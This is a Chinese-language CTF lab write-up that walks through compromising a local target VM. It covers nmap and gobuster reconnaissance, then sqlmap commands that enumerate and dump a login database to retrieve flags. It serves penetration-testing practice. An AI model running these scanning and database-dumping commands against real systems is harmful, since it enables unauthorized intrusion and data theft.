一:环境
环境就不说了,和之前的文章一样。
靶机IP:10.0.0.133
主机IP:10.0.0.128
二:收集信息
nmap 10.0.0.0/24
发现目标,查看目标主机的服务和版本信息
nmap -sV -p- 10.0.0.133
80/tcp open http Apache httpd 2.4.46 ((Debian))
发现有80端口,那就先访问一下
http://10.0.0.133
查看源码也没什么发现。接下来就扫描后台目录
dirsearch -u 10.0.0.133
没有什么发现
继续使用
gobuster dir -u http://10.0.0.133 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
(这里要注意字典的使用,可以使用多个字典我这里使用的是kali自带的字典)
发现了exploit.html,浏览器访问一下
http://10.0.0.133/exploit.html
发现一个文件提交界面,随便提交一个文件看看
提交后会报错,并且发现域名变成了localhost。所以修改源码将域名改为目标主机的域名后再次提交
得到一个Flag,但是发现这个Flag不完整。到这里线索就断了,看了其他师傅的文章发现到这里其实还有两条路可走。但是前提是必须能扫出enter_network这个目录,没扫出来说明字典还不够强大,所以有一个强大的字典是成功的前提。所以继续来看两条路中的第一条sql注入
访问10.0.0.133/enter_network
发现是一个登陆界面,进行sql注入
先抓个访问请求的包复制到txt文件中,然后使用命令先爆破库名
sqlmap -r 1.txt --batch --dbs
得到库名Machine,用该库名爆破表名
sqlmap -r 1.txt -D Machine --batch --tables
拿到表名login,接下来拿数据
sqlmap -r 1.txt -D Machine -T login --batch --dump-all
拿到flag